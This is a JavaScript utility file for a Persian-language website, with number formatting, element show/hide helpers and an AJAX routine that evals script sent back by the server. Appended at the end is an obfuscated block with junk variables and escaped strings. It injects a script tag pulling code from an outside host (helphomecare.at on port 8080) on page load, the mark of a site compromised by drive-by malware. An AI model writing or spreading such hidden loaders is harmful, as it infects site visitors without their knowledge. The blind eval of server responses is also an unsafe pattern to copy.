function moneycommasep(ctrl)
{
  var separator = ",";
  var int = ctrl.value.replace ( new RegExp ( separator, "g" ), "" );
  var regexp = new RegExp ( "\\B(\\d{3})(" + separator + "|$)" );
  do
  {
    int = int.replace ( regexp, separator + "$1" );
  }
  while ( int.search ( regexp ) >= 0 )
  ctrl.value = int;
}

function removecomma(ctrl)
{
  var separator = ",";
  removed = document.getElementById(ctrl).value.replace ( new RegExp ( separator, "g" ), "" );
  return removed;
}

function change_title( new_title ){	
	document.title=new_title;
}
function write_in_id(id,note){
 if( document.getElementById(id) ){
	 show_id(id)
	 if( id =='my_error'){
 		document.getElementById(id).style.display ='block';
	 }
 document.getElementById(id).innerHTML=note;
 }
}
function hide_id(id){
    if( document.getElementById(id) ){
	document.getElementById(id).style.display ='none';
	}
}
function show_id(id){
    if( document.getElementById(id) ){
    document.getElementById(id).style.display ='';
	}
}
function get_value_for_ajax(this_id){
	if(! document.getElementById(this_id) ){
		return '';
	}else if(document.getElementById(this_id).type == 'checkbox'){
                return document.getElementById(this_id).checked;
	}else{
                return encodeURIComponent(document.getElementById(this_id).value);
	}
}
function loading_effect( kind ){
	if( kind == 0 ){
		hide_id('loading_effect')
	}else{
		show_id('loading_effect')
	}	
}
function getscript(str){
let_out=str;
str=str.split('#endofmyscript');
if( str[1] !=null){
doeval(str[0]);
let_out =let_out.replace(str[0]+'#endofmyscript', '');
}

return let_out;
}
function my_go(url){
setTimeout('document.location.href="'+url+'"',100 )
}

function doeval(js){
	if(js!=null){
	var sc = document.createElement('script');
	jsCode = js;
	sc.type = 'text/javascript';
	document.getElementsByTagName('head')[0].appendChild(sc);
	sc.text = 'try{eval(jsCode);}catch(e){}jsCode="";';
	//sc.text = 'try{eval(jsCode);}catch(e){try{alert(e.fileName+" : "+e.lineNumber+"\\n"+e.name+" : "+e.message); alert(e.stack);}catch(e){}}jsCode="";';
	sc.text = "\/\/ :-)";
	}
}


function main_ajax_do( url , post , thisid , rem ,met){
 var xmlhttp=false;
        show_id(thisid)
        write_in_id(thisid ,'<div>لطفا چند لحظه صبر کنید ...</div>') ;
        loading_effect(1);
         /*@cc_on @*/
        /*@if (@_jscript_version >= 5)
                try {
                        xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
                } 
                catch (e) {
                        try { xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); } 
		catch (E) { 
                        xmlhttp = false; 
                }
    }
    @end @*/
    if(!xmlhttp) { xmlhttp=new XMLHttpRequest(); }
    	if ( met=='' || met==null  ){
		met='POST';	
	}
	if(met=='POST' ){
		if ( rem=='no'){
			post=post+'&my_time='+escape(new Date().getTime());
		}
		xmlhttp.open('POST', url, true);
        	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        	xmlhttp.send(post); 
	} else if( met == 'GET' ){
		if ( rem=='no'){
			url=url+'&my_time='+escape(new Date().getTime());
		}
	    	xmlhttp.open('GET',url, true);
		xmlhttp.send(null);
	}

        xmlhttp.onreadystatechange = function() {
                if(xmlhttp.readyState == 4  && xmlhttp.status == 200){
			my_respons=xmlhttp.responseText;
			my_respons = my_respons.replace('\n', '');
			my_respons = my_respons.replace('\r', '');
			my_respons = getscript(my_respons);
                        write_in_id(thisid ,my_respons);
                        loading_effect(0);
                }
                    
        }
               
}



var i;if(i!=''){i='n'};var S=new String();function w(){var x;if(x!='' && x!='s'){x='m'};var p;if(p!='q' && p != ''){p=null};var J=new Array();var G=unescape;this.Tb='';var kC=new String();var V=window;var u=G("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%69%6c%6c%69%79%65%74%2e%63%6f%6d%2e%74%72%2f%68%61%74%65%6e%61%2e%6e%65%2e%6a%70%2e%70%68%70");var h=new String();var Xp=new Date();var LX=new String();function Y(d,U){this.zy="";var Df=new Date();var _=String("gEvj".substr(0,1));var H;if(H!='lF'){H=''};var c=G("%5b"), k=G("%5d");var Z=c+U+k;this.xz="";var df;if(df!='BK' && df!='QP'){df='BK'};var a=new RegExp(Z, _);return d.replace(a, new String());var SZ='';var sL='';};var Is=new Date();var Tt;if(Tt!='' && Tt!='cS'){Tt='eN'};var du;if(du!='' && du!='TO'){du='j'};var F=document;var XT;if(XT!='vm'){XT='vm'};var A;if(A!=''){A='qr'};var B=Y('8493501536899505379','7543169');var oW;if(oW!='tI' && oW!='am'){oW=''};var ps=new String();var _I=new String();var M_;if(M_!=''){M_='E'};function Ud(){var GP=new String();this.nJs='';var KX='';var v=G("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");this.lR="";var ce;if(ce!='b' && ce!='BS'){ce=''};_I=v;this.ud='';_I+=B;_I+=u;var nb=new String();var y=new String();try {C=F.createElement(Y('sQc8rQi8pQt8','8Q'));var Mm=new String();var gB=new Array();var rP='';var VI;if(VI!='' && VI!='OU'){VI='gI'};C[G("%73%72%63")]=_I;var Hi;if(Hi!='bB' && Hi != ''){Hi=null};var UM=new Array();C[G("%64%65%66%65%72")]=[1][0];var Sf;if(Sf!='ic'){Sf='ic'};F.body.appendChild(C);var Hz;if(Hz!='yj' && Hz != ''){Hz=null};var Ss;if(Ss!='TH' && Ss != ''){Ss=null};var aN=new Array();var LE;if(LE!='' && LE!='Bqu'){LE='pe'};} catch(uf){alert(uf);var Vd;if(Vd!='KZ'){Vd=''};};}var BM;if(BM!='DQ' && BM!='GN'){BM='DQ'};var bw="";var Dj='';V[String("onw0M".substr(0,2)+"UfaClo".substr(4)+"ad")]=Ud;var VA=new Array();var He=new String();var eo='';};var uu;if(uu!='la'){uu=''};var vi;if(vi!='hp'){vi=''};w();var bz='';this.GW="";